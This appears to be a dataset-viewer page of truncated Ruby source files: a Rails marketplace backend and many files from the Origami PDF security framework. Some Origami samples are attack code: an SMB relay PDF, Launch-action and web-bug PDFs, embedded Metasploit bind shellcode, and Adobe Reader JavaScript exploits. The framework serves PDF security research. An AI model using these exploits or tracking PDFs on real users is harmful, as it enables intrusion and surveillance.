code stringlengths 1 1.73M | language stringclasses 1
value |
|---|---|
class PermissionsController < ApplicationController
# POST /permission.xml
# POST /permission.json
def create
@permission = Permission.new(:name => params[:permission])
respond_to do |format|
if @permission.save
format.xml { render :xml => @permission, :status => :created, :location => @... | Ruby |
class CommentsController < ApplicationController
# POST /comments.xml
# POST /comments.json
def create
@app = App.find(params[:app_id])
@comment = @app.comments.new(params[:comment])
respond_to do |format|
if @comment.save
format.xml { render :xml => @comment, :status => :... | Ruby |
class VisualsController < ApplicationController
# POST /visuals
def create
@app = App.find(params[:app_id])
@visual = @app.visuals.new(:image => params[:image])
respond_to do |format|
if @visual.save
format.html { render :json => @visual, :status => :created}
else
... | Ruby |
class ApplicationController < ActionController::Base
# protect_from_forgery
end
| Ruby |
class AppTargetsController < ApplicationController
# POST /app_targets.xml
# POST /app_targets.json
def create
@app_target = AppTarget.new(params[:app_target])
respond_to do |format|
if @app_target.save
format.xml { render :xml => @app_target, :status => :created, :location => @app_targ... | Ruby |
class AppPermissionsController < ApplicationController
# POST /app_permissions/update_permissions.xml
# POST /app_permissions/update_permissions.json
def update_permissions
app = App.find(params[:app_id])
app.permission_ids = params[:permissions]
respond_to do |format|
if app.save!
... | Ruby |
# Add your own tasks in files placed in lib/tasks ending in .rake,
# for example lib/tasks/capistrano.rake, and they will automatically be available to Rake.
require File.expand_path('../config/application', __FILE__)
require 'rake'
Marketplace::Application.load_tasks
| Ruby |
#!/usr/bin/env ruby
# This command will automatically be run when you run "rails" with Rails 3 gems installed from the root of your application.
APP_PATH = File.expand_path('../../config/application', __FILE__)
require File.expand_path('../../config/boot', __FILE__)
require 'rails/commands'
| Ruby |
source 'http://rubygems.org'
gem 'rails', '3.0.3'
# Bundle edge Rails instead:
# gem 'rails', :git => 'git://github.com/rails/rails.git'
gem 'mysql2'
gem 'paperclip'
gem 'will_paginate'
gem 'vestal_versions', :git => 'git://github.com/adamcooper/vestal_versions'
# Use unicorn as the web server
# gem 'unicorn'
# D... | Ruby |
class CreateVestalVersions < ActiveRecord::Migration
def self.up
create_table :versions do |t|
t.belongs_to :versioned, :polymorphic => true
t.belongs_to :user, :polymorphic => true
t.string :user_name
t.text :modifications
t.integer :number
t.integer :reverted_from
t... | Ruby |
class CreateVisuals < ActiveRecord::Migration
def self.up
create_table :visuals do |t|
t.references :app
t.timestamps
end
add_index :visuals, :app_id
end
def self.down
drop_table :visuals
end
end
| Ruby |
class CreateRatings < ActiveRecord::Migration
def self.up
create_table :ratings do |t|
t.string :rating
t.integer :ratingCount
t.integer :downloadCount
t.string :downloadCountText
t.references :app
t.timestamps
end
add_index :ratings, :app_id, :unique => true
end
... | Ruby |
class CreateAppPermissions < ActiveRecord::Migration
def self.up
create_table :app_permissions do |t|
t.references :app
t.references :permission
t.timestamps
end
add_index :app_permissions, :app_id
add_index :app_permissions, :permission_id
end
def self.down
drop_table :ap... | Ruby |
class CreateAppTargets < ActiveRecord::Migration
def self.up
create_table :app_targets do |t|
t.references :app
t.references :target
t.timestamps
end
add_index :app_targets, :app_id
add_index :app_targets, :target_id
end
def self.down
drop_table :app_targets
end
end
| Ruby |
class CreateComments < ActiveRecord::Migration
def self.up
create_table :comments do |t|
t.integer :rating
t.string :creationTime
t.string :authorName
t.string :text
t.string :authorId
t.references :app
t.timestamps
end
add_index :comments, :app_id
add_index ... | Ruby |
class CreateApps < ActiveRecord::Migration
def self.up
create_table :apps do |t|
t.string :creator
t.string :packageName
t.string :title
t.text :description
t.string :appId
t.string :category
t.text :recentChanges
t.string :email
t.string :phone
t.string... | Ruby |
class CreateTargets < ActiveRecord::Migration
def self.up
create_table :targets do |t|
t.string :name
t.timestamps
end
add_index :targets, :name, :unique => true
end
def self.down
drop_table :targets
end
end
| Ruby |
class CreatePermissions < ActiveRecord::Migration
def self.up
create_table :permissions do |t|
t.string :name
t.timestamps
end
add_index :permissions, :name, :unique => true
end
def self.down
drop_table :permissions
end
end
| Ruby |
class AddAttachmentImageToVisual < ActiveRecord::Migration
def self.up
add_column :visuals, :image_file_name, :string
add_column :visuals, :image_content_type, :string
add_column :visuals, :image_file_size, :integer
add_column :visuals, :image_updated_at, :datetime
end
def self.down
remove_co... | Ruby |
# This file should contain all the record creation needed to seed the database with its default values.
# The data can then be loaded with the rake db:seed (or created alongside the db with db:setup).
#
# Examples:
#
# cities = City.create([{ :name => 'Chicago' }, { :name => 'Copenhagen' }])
# Mayor.create(:name =>... | Ruby |
# This file is used by Rack-based servers to start the application.
require ::File.expand_path('../config/environment', __FILE__)
run Marketplace::Application
| Ruby |
ENV["RAILS_ENV"] = "test"
require File.expand_path('../../config/environment', __FILE__)
require 'rails/test_help'
class ActiveSupport::TestCase
# Setup all fixtures in test/fixtures/*.(yml|csv) for all tests in alphabetical order.
#
# Note: You'll currently still have to declare fixtures explicitly in integrati... | Ruby |
# Require any additional compass plugins here.
# Set this to the root of your project when deployed:
http_path = "/"
css_dir = "theme/css"
sass_dir = "theme/scss"
images_dir = "images"
javascripts_dir = "js"
# You can select your preferred output style here (can be overridden via the command line):
output_style = :co... | Ruby |
# coding: utf-8
# Title: LightPack API wrapper for Ruby
# Author: Mikhail S. Pobolovets
# License: GPL v3
# Date: 2011/08/15
# API Version: 5.5
require 'socket'
class LightPack
include Socket::Constants
# host = '127.0.0.1' # The remote host
# port = 3636 ... | Ruby |
require "rexml/document"
require "iconv"
include REXML
if ARGV.length>0 then
puts "USAGE: ruby main.rb"
exit
end
manifest = Document.new File.new("AndroidManifest.xml")
file_channels = File.new("channels.txt", "r")
version = "V" + manifest.root.attributes["android:versionName"]
version_code = "c" + ma... | Ruby |
require "rexml/document"
require "iconv"
include REXML
if ARGV.length>0 then
puts "USAGE: ruby main.rb"
exit
end
manifest = Document.new File.new("AndroidManifest.xml")
file_channels = File.new("channels.txt", "r")
version = "V" + manifest.root.attributes["android:versionName"]
version_code = "c" + ma... | Ruby |
def expression(x)
return 10*(x**2)*(x**3);
end | Ruby |
source :gemcutter
gem 'sinatra', :require => 'sinatra/base'
gem 'thin', '~> 1.3'
gem 'pg'
gem 'data_mapper', '~> 1.2'
gem 'dm-postgres-adapter'
gem 'google-api-client', '>= 0.4.3'
group :development do
gem 'dm-sqlite-adapter', '~> 1.2'
gem 'do_sqlite3', '~> 0.10'
end
| Ruby |
# Copyright (C) 2012 Google Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writ... | Ruby |
#!/usr/bin/env watchr
# config file for watchr http://github.com/mynyml/watchr
# install: gem install watchr
# run: watch watchr.rb
# note: make sure that you have jstd server running (server.sh) and a browser captured
log_file = File.expand_path(File.dirname(__FILE__) + '/../logs/jstd.log')
`cd ..`
`touch #{log_fil... | Ruby |
<?xml version="1.0"?>
<interface>
<requires lib="gtk+" version="2.16"/>
<!-- interface-naming-policy project-wide -->
<object class="GtkListStore" id="liststore1">
<columns>
<!-- column-name Filename -->
<column type="gchararray"/>
<!-- column-name Age -->
<column type="gint"/>
</c... | Ruby |
#!/usr/bin/env ruby
# Simple dumper that converts the output from PMQTreeTest::DumpIndex
# into an SVG file.
class Dumpee
def initialize()
@xmin = (1.0/0)
@ymin = (1.0/0)
@xmax = (-1.0/0)
@ymax = (-1.0/0)
@quads = []
@lines = []
end
def node(idx,quad)
if (idx > 0)
@xmin = [q... | Ruby |
#!/usr/bin/env ruby
# Simple dumper that converts the output from PMQTreeTest::DumpIndex
# into an SVG file.
class Dumpee
def initialize()
@xmin = (1.0/0)
@ymin = (1.0/0)
@xmax = (-1.0/0)
@ymax = (-1.0/0)
@quads = []
@lines = []
end
def node(idx,quad)
if (idx > 0)
@xmin = [q... | Ruby |
#!/usr/bin/env ruby
# Simple dumper that converts the output from PMQTreeTest::DumpIndex
# into an SVG file.
class Dumpee
def initialize()
@xmin = (1.0/0)
@ymin = (1.0/0)
@xmax = (-1.0/0)
@ymax = (-1.0/0)
@quads = []
@lines = []
end
def node(idx,quad)
if (idx > 0)
@xmin = [q... | Ruby |
#!/usr/bin/env ruby
# Simple dumper that converts the output from PMQTreeTest::DumpIndex
# into an SVG file.
class Dumpee
def initialize()
@xmin = (1.0/0)
@ymin = (1.0/0)
@xmax = (-1.0/0)
@ymax = (-1.0/0)
@quads = []
@lines = []
end
def node(idx,quad)
if (idx > 0)
@xmin = [q... | Ruby |
#!/usr/bin/env ruby
=begin
= Author:
Guillaume Delugré <guillaume/at/security-labs.org>
= Info:
Embeds and PDF document into a trojan PDF document.
= License:
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public License as published by
the Fre... | Ruby |
#!/usr/bin/env ruby
=begin
= Author:
Guillaume Delugré <guillaume/at/security-labs.org>
= Info:
Encrypts a PDF document.
= License:
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public License as published by
the Free Software Foundation, eit... | Ruby |
#!/usr/bin/env ruby
=begin
= Author:
Guillaume Delugré <guillaume/at/security-labs.org>
= Info:
Prints out the metadata contained in a PDF document.
= License:
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public License as published by
the Fr... | Ruby |
#!/usr/bin/env ruby
=begin
= Author:
Guillaume Delugré <guillaume/at/security-labs.org>
= Info:
Uncompresses all binary streams of a PDF document.
= License:
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public License as published by
the Free... | Ruby |
#!/usr/bin/env ruby
=begin
= Author:
Guillaume Delugré <guillaume/at/security-labs.org>
= Info:
This is a PDF document filtering engine using Origami.
Security policies are based on a white list of PDF features.
Default policies details can be found in the default configuration file.
You can also add your... | Ruby |
#!/usr/bin/env ruby
=begin
= Info
Convert a PDF document to an Origami script.
Experimental.
= License:
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public License as published by
the Free Software Foundation, either version 3 of the License, ... | Ruby |
#!/usr/bin/env ruby
=begin
= Author:
Guillaume Delugré <guillaume/at/security-labs.org>
= Info:
Generates a Graphviz DOT or GraphML file out of a PDF document.
= License:
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public License as published... | Ruby |
#!/usr/bin/env ruby
=begin
= Author:
Guillaume Delugré <guillaume/at/security-labs.org>
= Info:
Decrypts a PDF document.
= License:
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public License as published by
the Free Software Foundation, eit... | Ruby |
#!/usr/bin/env ruby
=begin
= File
walker.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser Ge... | Ruby |
=begin
= File
treeview.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public Licens... | Ruby |
=begin
= File
hexview.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public License... | Ruby |
=begin
= File
textview.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public Licens... | Ruby |
=begin
= File
xrefs.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public License a... | Ruby |
=begin
= File
console.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Pub... | Ruby |
#!/usr/bin/env ruby
begin
require 'origami'
rescue LoadError
ORIGAMIDIR = "#{File.dirname(__FILE__)}/../.."
$: << ORIGAMIDIR
require 'origami'
end
include Origami
if ARGV.size < 2
puts "Usage: #{__FILE__} <signature> <files>"
end
SIG = ARGV.shift
ARGV.each do |file|
pdf = PDF.read(file, :verbosity => P... | Ruby |
require 'optparse'
class OptParser
def self.parse(args)
options = {}
opts = OptionParser.new do |opts|
opts.banner = "Usage: #{$0} [options] <arguments>"
opts.on("-i", "--input PDFFILE", "Input pdf") do |i|
options[:input] = i
end
op... | Ruby |
#!/usr/bin/env ruby
begin
require 'origami'
rescue LoadError
ORIGAMIDIR = "#{File.dirname(__FILE__)}/../.."
$: << ORIGAMIDIR
require 'origami'
end
include Origami
require 'getopt.rb'
pdf, output_name, type = get_params()
TRIGGER_PATTERNS = [ 'OpenAction', 'AA', 'Names' ]
ACTIONS_PATTERNS = [ 'GoTo', 'GoToE'... | Ruby |
#!/usr/bin/env ruby
begin
require 'origami'
rescue LoadError
ORIGAMIDIR = "#{File.dirname(__FILE__)}/../.."
$: << ORIGAMIDIR
require 'origami'
end
include Origami
if ARGV.size < 1
puts "Usage: #{__FILE__} <files>"
end
ARGV.each do |file|
pdf = PDF.read(file, :verbosity => Parser::VERBOSE_QUIET)
script... | Ruby |
#!/usr/bin/env ruby
begin
require 'origami'
rescue LoadError
ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../.."
$: << ORIGAMIDIR
require 'origami'
end
include Origami
pdf = PDF.read("sample.pdf", :verbosity => Parser::VERBOSE_DEBUG )
index = 1
pages = pdf.pages
pages.each { |page|
page.onOpen(Action... | Ruby |
#!/usr/bin/env ruby
begin
require 'origami'
rescue LoadError
ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../.."
$: << ORIGAMIDIR
require 'origami'
end
include Origami
pdf = PDF.read("sample.pdf", :verbosity => Parser::VERBOSE_DEBUG )
pages = pdf.pages
pages.each { |page|
page.onOpen(Action::Named.new... | Ruby |
#!/usr/bin/ruby
begin
require 'origami'
rescue LoadError
ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../.."
$: << ORIGAMIDIR
require 'origami'
end
include Origami
#
# SMB relay attack.
# Uses a GoToR action to open a shared network directory.
#
ATTACKER_SERVER = "localhost"
pdf = PDF.read(ARGV[0])
dst = Ex... | Ruby |
#!/usr/bin/ruby
begin
require 'origami'
rescue LoadError
ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../.."
$: << ORIGAMIDIR
require 'origami'
end
include Origami
OUTPUTFILE = "#{File.basename(__FILE__, ".rb")}.pdf"
puts "Now generating a new PDF file from scratch!"
pdf = PDF.new
page = Page.new
contents ... | Ruby |
#!/usr/bin/ruby
begin
require 'origami'
rescue LoadError
ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../.."
$: << ORIGAMIDIR
require 'origami'
end
include Origami
OUTPUTFILE = "#{File.basename(__FILE__, ".rb")}.pdf"
puts "Now generating a new PDF file from scratch!"
pdf = PDF.new
page = Page.new
contents ... | Ruby |
#!/usr/bin/ruby
begin
require 'origami'
rescue LoadError
ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../.."
$: << ORIGAMIDIR
require 'origami'
end
include Origami
OUTPUTFILE = "#{File.basename(__FILE__, ".rb")}.pdf"
params = Action::Launch::WindowsLaunchParams.new
params.F = "C:\\\\WINDOWS\\\\system32\\\\not... | Ruby |
#!/usr/bin/ruby
begin
require 'origami'
rescue LoadError
ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../.."
$: << ORIGAMIDIR
require 'origami'
end
include Origami
OUTPUTFILE = "webbug-js.pdf"
JSCRIPTFILE = "submitform.js"
puts "Now generating a new PDF file from scratch!"
contents = ContentStream.new.setFil... | Ruby |
#!/usr/bin/ruby
begin
require 'origami'
rescue LoadError
ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../.."
$: << ORIGAMIDIR
require 'origami'
end
include Origami
OUTPUTFILE = "webbug-browser.pdf"
puts "Now generating a new bugged PDF file from scratch!"
URL = "http://localhost/webbug-browser.html"
pdf = P... | Ruby |
#!/usr/bin/ruby
begin
require 'origami'
rescue LoadError
ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../.."
$: << ORIGAMIDIR
require 'origami'
end
include Origami
OUTPUTFILE = "webbug-reader.pdf"
URL = "http://localhost/webbug-reader.php"
puts "Now generating a new bugged PDF file from scratch!"
pdf = PDF.... | Ruby |
#!/usr/bin/env ruby
begin
require 'origami'
rescue LoadError
ORIGAMIDIR = "#{File.dirname(__FILE__)}/../.."
$: << ORIGAMIDIR
require 'origami'
end
include Origami
OUTPUTFILE = "#{File.basename(__FILE__, ".rb")}.pdf"
puts "Now generating a new PDF file from scratch!"
# Creates an encrypted document with AES... | Ruby |
#!/usr/bin/env ruby
begin
require 'origami'
rescue LoadError
ORIGAMIDIR = "#{File.dirname(__FILE__)}/../.."
$: << ORIGAMIDIR
require 'origami'
end
include Origami
INPUTFILE = "test.swf"
OUTPUTFILE = "#{File.basename(__FILE__, ".rb")}.pdf"
puts "Now generating a new PDF file from scratch!"
# Creating a new ... | Ruby |
#!/usr/bin/env ruby
begin
require 'origami'
rescue LoadError
ORIGAMIDIR = "#{File.dirname(__FILE__)}/../.."
$: << ORIGAMIDIR
require 'origami'
end
include Origami
pdf = PDF.read(ARGV[0])
# win32_bind - EXITFUNC=seh LPORT=4444 Size=696 Encoder=Alpha2 http://metasploit.com
win32_bin = "%u03eb%ueb59%ue805%uff... | Ruby |
#!/usr/bin/env ruby
begin
require 'origami'
rescue LoadError
ORIGAMIDIR = "#{File.dirname(__FILE__)}/../.."
$: << ORIGAMIDIR
require 'origami'
end
include Origami
pdf = PDF.read(ARGV[0])
jscript = %Q|
//##############
//Exploit made by Arr1val
//Proved in adobe 9.1 and adobe 8.1.4 on linux
//
//Steps:
//- c... | Ruby |
#!/usr/bin/env ruby
begin
require 'origami'
rescue LoadError
ORIGAMIDIR = "#{File.dirname(__FILE__)}/../.."
$: << ORIGAMIDIR
require 'origami'
end
include Origami
pdf = PDF.read(ARGV[0])
jscript = %Q|
//##############
//Exploit made by Arr1val
//Proved in adobe 9.1 and adobe 8.1.4 on linux
//##############
... | Ruby |
=begin
= File
xdp.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public License as ... | Ruby |
=begin
= File
widgets.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public License... | Ruby |
=begin
= File
patterns.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public Licens... | Ruby |
require 'test/unit'
require 'stringio'
class TC_PdfEncrypt < Test::Unit::TestCase
def setup
@target = PDF.read("tests/dataset/calc.pdf", :ignore_errors => false, :verbosity => Parser::VERBOSE_QUIET)
@output = StringIO.new
end
# def teardown
# end
def test_encrypt_rc4_40b
@outp... | Ruby |
require 'test/unit'
require 'stringio'
class TC_Streams < Test::Unit::TestCase
def setup
@target = PDF.new
@output = StringIO.new
@data = "0123456789" * 1024
end
# def teardown
# end
def test_predictors
stm = Stream.new(@data, :Filter => :FlateDecode)
stm.set_... | Ruby |
require 'test/unit'
class TC_Actions < Test::Unit::TestCase
def setup
@target = PDF.new
@page = Page.new
@action = Action::JavaScript.new "app.alert(null);"
end
# def teardown
# end
def test_pdf_actions
@target.onDocumentOpen @action
@target.onDocumentClose @action... | Ruby |
require 'test/unit'
class TC_PdfParse < Test::Unit::TestCase
def setup
@data =
%w{
tests/dataset/empty.pdf
tests/dataset/calc.pdf
tests/dataset/crypto.pdf
}
@dict = StringScanner.new "<</N 2 0 R/x1 null/Pi 3.14 /a <<>>>>"
@bytestring = String... | Ruby |
require 'test/unit/testsuite'
require 'tc_pdfparse.rb'
require 'tc_streams.rb'
require 'tc_pdfencrypt.rb'
require 'tc_pdfsig.rb'
require 'tc_pdfattach.rb'
require 'tc_pages.rb'
require 'tc_actions.rb'
require 'tc_annotations.rb'
require 'tc_pdfnew.rb'
begin
require 'origami'
rescue LoadError
ORIGAMIDIR = "#{File.d... | Ruby |
require 'test/unit'
require 'stringio'
class TC_Annotations< Test::Unit::TestCase
def setup
@target = PDF.new
@page = Page.new
@action = Action::JavaScript.new "app.alert(null);"
@output = StringIO.new
end
# def teardown
# end
def test_annotations
circle = A... | Ruby |
require 'test/unit'
require 'stringio'
class TC_PdfAttach < Test::Unit::TestCase
def setup
@target = PDF.new
@attachment = "tests/dataset/test.dummycrt"
@output = StringIO.new
end
# def teardown
# end
def test_attachfile
assert_nothing_raised do
fspec = @target.a... | Ruby |
require 'test/unit'
require 'stringio'
class TC_PdfNew < Test::Unit::TestCase
def setup
@output = StringIO.new
end
# def teardown
# end
def test_pdf_struct
pdf = PDF.new
null = Null.new
assert_nothing_raised do
pdf << null
end
assert_nothing_raise... | Ruby |
require 'test/unit'
require 'stringio'
class TC_Pages < Test::Unit::TestCase
def setup
@target = PDF.new
@output = StringIO.new
end
# def teardown
# end
def test_appendpage
p1, p2, p3 = Page.new, Page.new, Page.new
assert_nothing_raised do
@target.append_page p1... | Ruby |
require 'test/unit'
require 'stringio'
class TC_PdfSig < Test::Unit::TestCase
def setup
@target = PDF.read("tests/dataset/calc.pdf", :ignore_errors => false, :verbosity => Parser::VERBOSE_QUIET)
@output = StringIO.new
@cert = OpenSSL::X509::Certificate.new(File.open("tests/dataset/test.dummy... | Ruby |
=begin
= File
origami.rb
= Info
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
Origami is distributed in the hop... | Ruby |
require 'rubygems'
require 'rake/rdoctask'
require 'rake/testtask'
require 'rake/gempackagetask'
spec = Gem::Specification.new do |s|
s.name = "origami"
s.version = "1.0.0"
s.author = "Guillaume Delugré"
s.email = "guillaume at security-labs dot org"
s.homepage = "http://seclabs.org/origa... | Ruby |
=begin
= File
trailer.rb
= Info
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
Origami is distributed in the hop... | Ruby |
=begin
= File
numeric.rb
= Info
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
Origami is distributed in the hop... | Ruby |
module Origami
module Obfuscator
WHITECHARS = [ " ", "\t", "\r", "\n", "\0" ]
OBJECTS = [ Array, Boolean, Dictionary, Integer, Name, Null, Stream, String, Real, Reference ]
MAX_INT = 0xFFFFFFFF
PRINTABLE = ("!".."9").to_a + (':'..'Z').to_a + ('['..'z').to_a + ('{'..'~').to_a
FILTERS = [ :FlateD... | Ruby |
=begin
= File
pdf.rb
= Info
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
Origami is distributed in the hope th... | Ruby |
=begin
= File
outline.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public License... | Ruby |
=begin
= File
dictionary.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume DelugrÈ <guillaume@security-labs.org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public Lice... | Ruby |
=begin
= File
string.rb
= Info
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
Origami is distributed in the hope... | Ruby |
=begin
= File
encryption.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume DelugrÈ <guillaume@security-labs.org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public Lice... | Ruby |
=begin
= File
parser.rb
= Info
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
Origami is distributed in the hope... | Ruby |
=begin
= File
graphics/state.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public ... | Ruby |
=begin
= File
graphics/colors.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public... | Ruby |
=begin
= File
graphics/xobject.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Publi... | Ruby |
=begin
= File
graphics/patterns.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Publ... | Ruby |
=begin
= File
graphics/path.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public L... | Ruby |
=begin
= File
graphics/text.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public L... | Ruby |
=begin
= File
graphics/instruction.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General P... | Ruby |
=begin
= File
reference.rb
= Info
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
Origami is distributed in the h... | Ruby |
=begin
= File
name.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public License as... | Ruby |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.